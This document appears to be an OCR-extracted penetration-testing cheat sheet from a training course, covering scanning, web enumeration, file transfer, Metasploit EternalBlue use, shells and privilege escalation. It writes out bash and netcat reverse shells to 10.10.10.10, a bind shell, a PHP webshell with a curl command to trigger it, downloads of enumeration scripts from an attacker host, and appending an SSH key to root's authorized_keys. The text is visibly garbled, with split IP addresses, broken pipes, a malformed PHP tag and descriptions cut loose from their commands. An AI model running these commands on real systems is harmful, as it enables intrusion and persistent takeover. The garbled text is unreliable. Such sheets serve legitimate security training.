Basic Tools			
Command	Description		
General			
sudo openvpn user.ovpn	Connect to VPN		
ifconfig/ip a	Show our IP address		
netstat -rn	Show networks accessible via the VPN		
ssh user@10.10.10.10	SSH to a remote server		
ftp 10.129.42.253	FTP to a remote server		
tmux			
tmux	Start tmux		
ctrl+b	tmux: default prefix		
prefix c	tmux: new window		
prefix 1	tmux: switch to window (1)		
prefix shift+%	tmux: split pane vertically		
prefix shift+"	tmux: split pane horizontally		
prefix ->	tmux: switch to the right pane		
Vim			
vim file	vim: open file with vim		
esc+i	vim: enter insert mode		
esc	vim: back to normal mode		
X	vim: Cut character		
dw	vim: Cut word		
dd	vim: Cut full line		
уw	vim: Copy word		
уу	vim: Copy full line		
p	vim: Paste		
:1	vim: Go to line number 1.		
:W	vim: Write the file 'i.e. save'		
:q	vim: Quit		
:q!	vim: Quit without saving		
:wq	vim: Write and quit		
	Pentes	stina	
	Command	Description	
Service Scanning			
nmap 10.129.42.253		Run nmap on an IP	
nmap -sV -sC -p- 10.129	.42.253	Run an nmap script scan on an IP	
locate scripts/citrix		List various available nmap scripts	
nmapscript smb-os-di	scovery.nse -p445 10.10.10.40	Run an nmap script on an IP	
netcat 10.10.10.10 22		Grab banner of an open port	
smbclient -N -L \\\10.	129.42.253	List SMB Shares	
smbclient \\\\10.129.42.253\\users		Connect to an SMB share	
snmpwalk -v 2c -c public 10.129.42.253 1.3.6.1.2.1.1.5.0		Scan SNMP on an IP	
onesixtyone -c dict.txt	10.129.42.254	Brute force SNMP secret string	
Web Enumeration			
gobuster dir -u http://10.10.10.121/ -w /usr/share/dirb/wordlists/common.txt		Run a directory scan on a website	
<pre>gobuster dns -d inlanefreight.com -w /usr/share/SecLists/Discovery/DNS/namelist.txt</pre>		Run a sub-domain scan on a website	
curl -IL https://www.inlanefreight.com		Grab website banner	
whatweb 10.10.10.121		List details about the webserver/certificates	
curl 10.10.10.121/robots		List potential directories in robots, txt	

Transferring Files

base64 shell -w 0

md5sum shell

python3 -m http.server 8000

wget http://10.10.14.1:8000/linpeas.sh

curl http://10.10.14.1:8000/linenum.sh -o linenum.sh

scp linenum.sh user@remotehost:/tmp/linenum.sh

echo f0VMR...SNIO...InmDwU | base64 -d > shell

whatweb 10.10.121	List details about the webserver/certificates
curl 10.10.121/robots.txt	List potential directories in robots.txt
ctrl+U	View page source (in Firefox)
Public Exploits	
searchsploit openssh 7.2	Search for public exploits for a web application
msfconsole	MSF: Start the Metasploit Framework
search exploit eternalblue	MSF: Search for public exploits in MSF
use exploit/windows/smb/ms17_010_psexec	MSF: Start using an MSF module
show options	MSF: Show required options for an MSF module
set RHOSTS 10.10.40	MSF: Set a value for an MSF module option
check	MSF: Test if the target server is vulnerable
exploit	MSF: Run the exploit on the target server is vulnerable
Using Shells	
nc -lvnp 1234	Start a nc listener on a local port
bash -c 'bash -i >& /dev/tcp/10.10.10.10/1234 0>&1'	Send a reverse shell from the remote server
<pre>rm /tmp/f;mkfifo /tmp/f;cat /tmp/f /bin/sh -i 2>&1 nc 10.10.10.10 1234 >/tmp/f</pre>	Another command to send a reverse shell from the remote server
<pre>rm /tmp/f;mkfifo /tmp/f;cat /tmp/f /bin/bash -i 2>&1 nc -lvp 1234 >/tmp/f</pre>	Start a bind shell on the remote server
nc 10.10.10.1 1234	Connect to a bind shell started on the remote server
<pre>python -c 'import pty; pty.spawn("/bin/bash")'</pre>	Upgrade shell TTY (1)
ctrl+z then stty raw -echo then fg then enter twice	Upgrade shell TTY (2)
echo " php system(\\$_GET['cmd']);? " > /var/www/html/shell.php	Create a webshell php file
<pre>curl http://SERVER_IP:PORT/shell.php?cmd=id</pre>	Execute a command on an uploaded webshell
Privilege Escalation	
./linpeas.sh	Run linpeas script to enumerate remote server
sudo -l	List available sudo privileges
sudo -u user /bin/echo Hello World!	Run a command with sudo
sudo su -	Switch to root user (if we have access to sudo su)
sudo su user -	Switch to a user (if we have access to sudo su)
ssh-keygen -f key	Create a new SSH key
echo "ssh-rsa AAAABSNIPM= user@parrot" >> /root/.ssh/authorized_keys	Add the generated public key to the user
ssh root@10.10.10 -i key	SSH to the server with the generated private key

Start a local webserver

Convert a file to base64

local machine

local machine

correctly

Download a file on the remote server from our

Download a file on the remote server from our

Transfer a file to the remote server with scp (requires SSH access)

Convert a file from base64 back to its orig

Check the file's md5sum to ensure it converted